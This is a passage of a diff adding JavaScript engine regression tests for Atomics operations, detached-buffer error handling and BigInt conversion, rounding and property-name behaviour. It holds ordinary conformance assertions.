+// Atomics.exchange
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 1;
+
+ let val = Atomics.exchange(ta, 0, 2);
+
+ assertEq(val, 1);
+ assertEq(ta[0], 2);
+}
+
+// Atomics.add
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 1;
+
+ let val = Atomics.add(ta, 0, 2);
+
+ assertEq(val, 1);
+ assertEq(ta[0], 3);
+}
+
+// Atomics.sub
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 3;
+
+ let val = Atomics.sub(ta, 0, 2);
+
+ assertEq(val, 3);
+ assertEq(ta[0], 1);
+}
+
+// Atomics.and
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 3;
+
+ let val = Atomics.and(ta, 0, 1);
+
+ assertEq(val, 3);
+ assertEq(ta[0], 1);
+}
+
+// Atomics.or
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 2;
+
+ let val = Atomics.or(ta, 0, 1);
+
+ assertEq(val, 2);
+ assertEq(ta[0], 3);
+}
+
+// Atomics.xor
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 3;
+
+ let val = Atomics.xor(ta, 0, 1);
+
+ assertEq(val, 3);
+ assertEq(ta[0], 2);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Atomics/detached-buffers.js b/js/src/tests/non262/Atomics/detached-buffers.js
new file mode 100644
index 0000000000..e3bc269b40
--- /dev/null
+++ b/js/src/tests/non262/Atomics/detached-buffers.js
@@ -0,0 +1,94 @@
+// |reftest| skip-if(!this.Atomics)
+
+const intArrayConstructors = [
+ Int32Array,
+ Int16Array,
+ Int8Array,
+ Uint32Array,
+ Uint16Array,
+ Uint8Array,
+];
+
+function badValue(ta) {
+ return {
+ valueOf() {
+ detachArrayBuffer(ta.buffer);
+ return 0;
+ }
+ };
+}
+
+// Atomics.load
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.load(ta, badValue(ta)), TypeError);
+}
+
+// Atomics.store
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.store(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.store(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.compareExchange
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.compareExchange(ta, badValue(ta), 0, 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.compareExchange(ta, 0, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.compareExchange(ta, 0, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.exchange
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.exchange(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.exchange(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.add
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.add(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.add(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.sub
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.sub(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.sub(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.and
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.and(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.and(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.or
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.or(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.or(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.xor
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.xor(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.xor(ta, 0, badValue(ta)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Atomics/shell.js b/js/src/tests/non262/Atomics/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Atomics/shell.js
diff --git a/js/src/tests/non262/BigInt/Number-conversion-rounding.js b/js/src/tests/non262/BigInt/Number-conversion-rounding.js
new file mode 100644
index 0000000000..5daf68948d
--- /dev/null
+++ b/js/src/tests/non262/BigInt/Number-conversion-rounding.js
@@ -0,0 +1,244 @@
+// Any copyright is dedicated to the Public Domain.
+// https://creativecommons.org/licenses/publicdomain/
+
+/**
+ * Edge-case behavior at Number.MAX_VALUE and beyond til overflow to Infinity.
+ */
+function maxMagnitudeTests(isNegative)
+{
+ var sign = isNegative ? -1 : +1;
+ var signBigInt = isNegative ? -1n : 1n;
+
+ const MAX_VALUE = isNegative ? -Number.MAX_VALUE : +Number.MAX_VALUE;
+
+ // 2**971+2**972+...+2**1022+2**1023
+ var maxMagnitudeNumber = 0;
+ for (let i = 971; i < 1024; i++)
+ maxMagnitudeNumber += 2**i;
+ maxMagnitudeNumber *= sign;
+ assertEq(maxMagnitudeNumber, MAX_VALUE);
+
+ // 2**971+2**972+...+2**1022+2**1023
+ var maxMagnitudeNumberAsBigInt = 0n;
+ for (let i = 971n; i < 1024n; i++)
+ maxMagnitudeNumberAsBigInt += 2n**i;
+ maxMagnitudeNumberAsBigInt *= signBigInt;
+ var expectedMaxMagnitude = isNegative
+ ? -(2n**1024n) + 2n**971n
+ : 2n**1024n - 2n**971n;
+ assertEq(maxMagnitudeNumberAsBigInt, expectedMaxMagnitude);
+
+ // Initial sanity tests.
+ assertEq(BigInt(maxMagnitudeNumber), maxMagnitudeNumberAsBigInt);
+ assertEq(maxMagnitudeNumber, Number(maxMagnitudeNumberAsBigInt));
+
+ // Test conversion of BigInt values above Number.MAX_VALUE.
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 1n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 3n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 4n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 5n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 6n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 7n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 8n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 9n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**20n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**400n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**800n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**900n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**969n), MAX_VALUE);
+
+ // For conversion purposes, rounding for values above Number.MAX_VALUE do
+ // rounding with respect to Number.MAX_VALUE and 2**1024 (which is treated as
+ // the "even" value -- so if the value to convert lies halfway between those two
+ // values, 2**1024 is selected). But if 2**1024 is the value that *would* have
+ // been chosen by this process, Infinity is substituted.
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * (2n**970n - 1n)), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**970n), sign * Infinity);
+}
+maxMagnitudeTests(false);
+maxMagnitudeTests(true);
+
+/**
+ * Simple single-Digit on x64, double-Digit on x86 tests.
+ */
+
+assertEq(BigInt(Number(2n**53n - 2n)), 2n**53n - 2n);
+assertEq(BigInt(Number(2n**53n - 1n)), 2n**53n - 1n);
+assertEq(BigInt(Number(2n**53n)), 2n**53n);
+assertEq(BigInt(Number(2n**53n + 1n)), 2n**53n);
+assertEq(BigInt(Number(2n**53n + 2n)), 2n**53n + 2n);
+assertEq(BigInt(Number(2n**53n + 3n)), 2n**53n + 4n);
+assertEq(BigInt(Number(2n**53n + 4n)), 2n**53n + 4n);
+assertEq(BigInt(Number(2n**53n + 5n)), 2n**53n + 4n);
+assertEq(BigInt(Number(2n**53n + 6n)), 2n**53n + 6n);
+assertEq(BigInt(Number(2n**53n + 7n)), 2n**53n + 8n);
+assertEq(BigInt(Number(2n**53n + 8n)), 2n**53n + 8n);
+
+assertEq(BigInt(Number(2n**54n - 4n)), 2n**54n - 4n);
+assertEq(BigInt(Number(2n**54n - 3n)), 2n**54n - 4n);
+assertEq(BigInt(Number(2n**54n - 2n)), 2n**54n - 2n);
+assertEq(BigInt(Number(2n**54n - 1n)), 2n**54n);
+assertEq(BigInt(Number(2n**54n)), 2n**54n);
+assertEq(BigInt(Number(2n**54n + 1n)), 2n**54n);
+assertEq(BigInt(Number(2n**54n + 2n)), 2n**54n);
+assertEq(BigInt(Number(2n**54n + 3n)), 2n**54n + 4n);
+assertEq(BigInt(Number(2n**54n + 4n)), 2n**54n + 4n);
+assertEq(BigInt(Number(2n**54n + 5n)), 2n**54n + 4n);
+assertEq(BigInt(Number(2n**54n + 6n)), 2n**54n + 8n);
+assertEq(BigInt(Number(2n**54n + 7n)), 2n**54n + 8n);
+assertEq(BigInt(Number(2n**54n + 8n)), 2n**54n + 8n);
+
+assertEq(BigInt(Number(2n**55n - 8n)), 2n**55n - 8n);
+assertEq(BigInt(Number(2n**55n - 7n)), 2n**55n - 8n);
+assertEq(BigInt(Number(2n**55n - 6n)), 2n**55n - 8n);
+assertEq(BigInt(Number(2n**55n - 5n)), 2n**55n - 4n);
+assertEq(BigInt(Number(2n**55n - 4n)), 2n**55n - 4n);
+assertEq(BigInt(Number(2n**55n - 3n)), 2n**55n - 4n);
+assertEq(BigInt(Number(2n**55n - 2n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n - 1n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n + 1n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n + 2n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n + 3n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n + 4n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n + 5n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 6n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 7n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 8n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 9n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 10n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 11n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 12n)), 2n**55n + 16n);
+assertEq(BigInt(Number(2n**55n + 13n)), 2n**55n + 16n);
+assertEq(BigInt(Number(2n**55n + 14n)), 2n**55n + 16n);
+assertEq(BigInt(Number(2n**55n + 15n)), 2n**55n + 16n);
+assertEq(BigInt(Number(2n**55n + 16n)), 2n**55n + 16n);
+
+
+/**
+ * Simple double-Digit on x64, triple-Digit on x86 tests.
+ */
+
+// The tests below that aren't subtracting bits will have no bits in the
+// ultimate significand from the most-significant digit (because of the implicit
+// one being excluded).
+assertEq(BigInt(Number(2n**64n - 2n**11n)), 2n**64n - 2n**11n);
+assertEq(BigInt(Number(2n**64n - 2n**11n + 2n**10n - 1n)), 2n**64n - 2n**11n);
+assertEq(BigInt(Number(2n**64n - 2n**11n + 2n**10n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n - 2n**10n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n + 1n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n + 2n**5n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n + 2n**10n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n + 2n**11n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n + 2n**11n + 1n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 1n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 2n**5n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 2n**10n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 2n**11n - 1n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 2n**11n)), 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 2n**11n + 1n)), 2n**64n + 2n**13n);
+
+// These tests *will* have a bit from the most-significant digit in the ultimate
+// significand.
+assertEq(BigInt(Number(2n**65n - 2n**12n)), 2n**65n - 2n**12n);
+assertEq(BigInt(Number(2n**65n - 2n**12n + 2n**11n - 1n)), 2n**65n - 2n**12n);
+assertEq(BigInt(Number(2n**65n - 2n**12n + 2n**11n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n - 2n**11n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n + 1n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n + 2n**5n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n + 2n**11n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n + 2n**12n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n + 2n**12n + 1n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 1n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 2n**5n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 2n**11n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 2n**12n - 1n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 2n**12n)), 2n**65n + 2n**14n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 2n**12n + 1n)), 2n**65n + 2n**14n);
+
+// ...and in these tests, the contributed bit from the most-significant digit
+// is additionally nonzero.
+assertEq(BigInt(Number(2n**65n + 2n**64n)), 2n**65n + 2n**64n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 1n)), 2n**65n + 2n**64n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**5n)), 2n**65n + 2n**64n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**11n)), 2n**65n + 2n**64n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**12n)), 2n**65n + 2n**64n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**12n + 1n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 1n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 2n**5n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 2n**11n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 2n**12n - 1n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 2n**12n)), 2n**65n + 2n**64n + 2n**14n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 2n**12n + 1n)), 2n**65n + 2n**64n + 2n**14n);
+
+/**
+ * Versions of the testing above with all the high-order bits massively bumped
+ * upward to test that super-low bits, not just bits in high digits, are
+ * properly accounted for in rounding.
+ */
+
+// The tests below that aren't subtracting bits will have no bits in the
+// ultimate significand from the most-significant digit (because of the implicit
+// one being excluded).
+assertEq(BigInt(Number(2n**940n - 2n**887n + 1n)), 2n**940n - 2n**887n);
+assertEq(BigInt(Number(2n**940n - 2n**887n + 2n**886n - 1n)), 2n**940n - 2n**887n);
+assertEq(BigInt(Number(2n**940n - 2n**887n + 2n**886n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n - 2n**886n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n + 1n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n + 2n**880n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n + 2n**885n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n + 2n**887n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n + 2n**887n + 1n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 1n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 2n**5n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 2n**12n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 2n**887n - 1n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 2n**887n)), 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 2n**887n + 1n)), 2n**940n + 2n**889n);
+
+// These tests *will* have a bit from the most-significant digit in the ultimate
+// significand.
+assertEq(BigInt(Number(2n**941n - 2n**888n)), 2n**941n - 2n**888n);
+assertEq(BigInt(Number(2n**941n - 2n**888n + 2n**887n - 1n)), 2n**941n - 2n**888n);
+assertEq(BigInt(Number(2n**941n - 2n**888n + 2n**887n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n - 2n**887n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n + 1n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n + 2n**881n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n + 2n**886n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n + 2n**888n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n + 2n**888n + 1n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 1n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 2n**5n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 2n**12n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 2n**888n - 1n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 2n**888n)), 2n**941n + 2n**890n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 2n**888n + 1n)), 2n**941n + 2n**890n);
+
+// ...and in these tests, the contributed bit from the most-significant digit
+// is additionally nonzero.
+assertEq(BigInt(Number(2n**941n + 2n**940n)), 2n**941n + 2n**940n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 1n)), 2n**941n + 2n**940n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**881n)), 2n**941n + 2n**940n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**886n)), 2n**941n + 2n**940n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**888n)), 2n**941n + 2n**940n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**888n + 1n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 1n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 2n**5n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 2n**12n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 2n**888n - 1n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 2n**888n)), 2n**941n + 2n**940n + 2n**890n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 2n**888n + 1n)), 2n**941n + 2n**940n + 2n**890n);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/BigInt/decimal.js b/js/src/tests/non262/BigInt/decimal.js
new file mode 100644
index 0000000000..f461307744
--- /dev/null
+++ b/js/src/tests/non262/BigInt/decimal.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// https://creativecommons.org/licenses/publicdomain/
+
+// Check base-10 BigInt string conversion
+const decimalTests = [
+ [32n, -1n, 1n, "4294967295"],
+ [32n, -1n, -1n, "-4294967295"],
+ [32n, 0n, 1n, "4294967296"],
+ [32n, 0n, -1n, "-4294967296"],
+ [32n, 1n, 1n, "4294967297"],
+ [32n, 1n, -1n, "-4294967297"],
+ [64n, -1n, 1n, "18446744073709551615"],
+ [64n, -1n, -1n, "-18446744073709551615"],
+ [64n, 0n, 1n, "18446744073709551616"],
+ [64n, 0n, -1n, "-18446744073709551616"],
+ [64n, 1n, 1n, "18446744073709551617"],
+ [64n, 1n, -1n, "-18446744073709551617"],
+ [128n, -1n, 1n, "340282366920938463463374607431768211455"],
+ [128n, -1n, -1n, "-340282366920938463463374607431768211455"],
+ [128n, 0n, 1n, "340282366920938463463374607431768211456"],
+ [128n, 0n, -1n, "-340282366920938463463374607431768211456"],
+ [128n, 1n, 1n, "340282366920938463463374607431768211457"],
+ [128n, 1n, -1n, "-340282366920938463463374607431768211457"],
+];
+for (const [power, offset, sign, result] of decimalTests) {
+ assertEq(((2n**power+offset)*sign).toString(),
+ result);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/BigInt/large-bit-length.js b/js/src/tests/non262/BigInt/large-bit-length.js
new file mode 100644
index 0000000000..5f4617159b
--- /dev/null
+++ b/js/src/tests/non262/BigInt/large-bit-length.js
@@ -0,0 +1,33 @@
+// Any copyright is dedicated to the Public Domain.
+// https://creativecommons.org/licenses/publicdomain/
+
+function test(thunk, result) {
+ let val, err;
+ try {
+ val = thunk();
+ } catch (e) {
+ err = e;
+ }
+ if (err) {
+ assertEq(err instanceof RangeError, true);
+ } else {
+ assertEq(val, result);
+ }
+}
+
+const UINT32_MAX = 2**32-1;
+
+// Check that BigInt.asIntN and BigInt.asUintN either return correct results or
+// throw RangeErrors for large |bits| arguments. GMP uses a type equivalent to
+// 'unsigned long' for bit counts, which may be too small to represent all JS
+// integer indexes.
+for (let bits of [UINT32_MAX-1, UINT32_MAX, UINT32_MAX+1, Number.MAX_SAFE_INTEGER]) {
+ test(() => BigInt.asIntN(bits, 1n), 1n);
+ test(() => BigInt.asIntN(bits, 0n), 0n);
+ test(() => BigInt.asIntN(bits, -1n), -1n);
+ test(() => BigInt.asUintN(bits, 1n), 1n);
+ test(() => BigInt.asUintN(bits, 0n), 0n);
+ // Skip testing asUintN with negative BigInts since it could OOM.
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/BigInt/mod.js b/js/src/tests/non262/BigInt/mod.js
new file mode 100644
index 0000000000..2d7bde0462
--- /dev/null
+++ b/js/src/tests/non262/BigInt/mod.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// https://creativecommons.org/licenses/publicdomain/
+
+// Check that |x % x| returns zero when |x| contains multiple digits
+assertEq(0x10000000000000000n % 0x10000000000000000n, 0n);
+assertEq(-0x10000000000000000n % -0x10000000000000000n, 0n);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/BigInt/property-name-guessed-name.js b/js/src/tests/non262/BigInt/property-name-guessed-name.js
new file mode 100644
index 0000000000..feb91345b2
--- /dev/null
+++ b/js/src/tests/non262/BigInt/property-name-guessed-name.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// BigInts currently don't participate when computing guessed function names.
+
+var p = {};
+p[1] = function(){};
+p[2n] = function(){};
+
+assertEq(displayName(p[1]), "p[1]");
+assertEq(displayName(p[2]), "");
+
+var q = {
+ 1: [function(){}],
+ 2n: [function(){}],
+};
+
+assertEq(displayName(q[1][0]), "q[1]<");
+assertEq(displayName(q[2][0]), "q<");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/BigInt/property-name.js b/js/src/tests/non262/BigInt/property-name.js
new file mode 100644
index 0000000000..85addd550a
--- /dev/null
+++ b/js/src/tests/non262/BigInt/property-name.js
@@ -0,0 +1,194 @@
+// BigInt literals as property keys.
+{
+ let o = {
+ 0n: "0",
+ 1n: "1",
+
+ // 2**31
+ 2147483647n: "2^31-1",
+ 2147483648n: "2^31",
+ 2147483649n: "2^31+1",
+
+ // 2**32
+ 4294967295n: "2^32-1",
+ 4294967296n: "2^32",
+ 4294967297n: "2^32+1",
+
+ // 2n**63n
+ 9223372036854775807n: "2^63-1",
+ 9223372036854775808n: "2^63",
+ 9223372036854775809n: "2^63+1",
+
+ // 2n**64n
+ 18446744073709551615n: "2^64-1",
+ 18446744073709551616n: "2^64",
+ 18446744073709551617n: "2^64+1",
+ };
+
+ assertEq(o[0], "0");
+ assertEq(o[1], "1");
+
+ assertEq(o[2147483647], "2^31-1");
+ assertEq(o[2147483648], "2^31");
+ assertEq(o[2147483649], "2^31+1");
+
+ assertEq(o[4294967295], "2^32-1");
+ assertEq(o[4294967296], "2^32");
+ assertEq(o[4294967297], "2^32+1");
+
+ assertEq(o["9223372036854775807"], "2^63-1");
+ assertEq(o["9223372036854775808"], "2^63");
+ assertEq(o["9223372036854775809"], "2^63+1");
+
+ assertEq(o["18446744073709551615"], "2^64-1");
+ assertEq(o["18446744073709551616"], "2^64");
+ assertEq(o["18446744073709551617"], "2^64+1");
+}
+
+// With non-decimal different base.
+{
+ let o = {
+ 0b1n: "1",
+ 0o2n: "2",
+ 0x3n: "3",
+ };
+
+ assertEq(o[1], "1");
+ assertEq(o[2], "2");
+ assertEq(o[3], "3");
+}
+
+// With numeric separators.
+{
+ let o = {
+ 1_2_3n: "123",
+ };
+
+ assertEq(o[123], "123");
+}
+
+// BigInt literals as method property names.
+{
+ let o = {
+ 1n() {},
+ *2n() {},
+ async 3n() {},
+ async* 4n() {},
+ get 5n() {},
+ set 6n(x) {},
+ };
+
+ assertEqArray(Object.getOwnPropertyNames(o), [
+ "1", "2", "3", "4", "5", "6",
+ ]);
+
+ assertEq(o[1].name, "1");
+ assertEq(o[2].name, "2");
+ assertEq(o[3].name, "3");
+ assertEq(o[4].name, "4");
+ assertEq(Object.getOwnPropertyDescriptor(o, 5).get.name, "get 5");
+ assertEq(Object.getOwnPropertyDescriptor(o, 6).set.name, "set 6");
+}
+
+// BigInt literals as class method property names.
+{
+ class C {
+ 1n() {}
+ *2n() {}
+ async 3n() {}
+ async* 4n() {}
+ get 5n() {}
+ set 6n(x) {}
+ }
+ let o = C.prototype;
+
+ assertEqArray(Object.getOwnPropertyNames(o), [
+ "1", "2", "3", "4", "5", "6",
+ "constructor",
+ ]);
+
+ assertEq(o[1].name, "1");
+ assertEq(o[2].name, "2");
+ assertEq(o[3].name, "3");
+ assertEq(o[4].name, "4");
+ assertEq(Object.getOwnPropertyDescriptor(o, 5).get.name, "get 5");
+ assertEq(Object.getOwnPropertyDescriptor(o, 6).set.name, "set 6");
+}
+
+// BigInt literals as static class method property names.
+{
+ class C {
+ static 1n() {}
+ static *2n() {}
+ static async 3n() {}
+ static async* 4n() {}
+ static get 5n() {}
+ static set 6n(x) {}
+ }
+ let o = C;
+
+ // NB: Sort names because lazily resolved "length" and "name" properties are
+ // inserted in the wrong order.
+ assertEqArray(Object.getOwnPropertyNames(o).sort(), [
+ "1", "2", "3", "4", "5", "6",
+ "length", "name", "prototype",
+ ]);
+
+ assertEq(o[1].name, "1");
+ assertEq(o[2].name, "2");
+ assertEq(o[3].name, "3");
+ assertEq(o[4].name, "4");
+ assertEq(Object.getOwnPropertyDescriptor(o, 5).get.name, "get 5");
+ assertEq(Object.getOwnPropertyDescriptor(o, 6).set.name, "set 6");
+}
+
+// BigInt literals as class field property names.
+{
+ let o = new class {
+ 1n;
+ 2n = "ok";
+ };
+
+ assertEq(o[1], undefined);
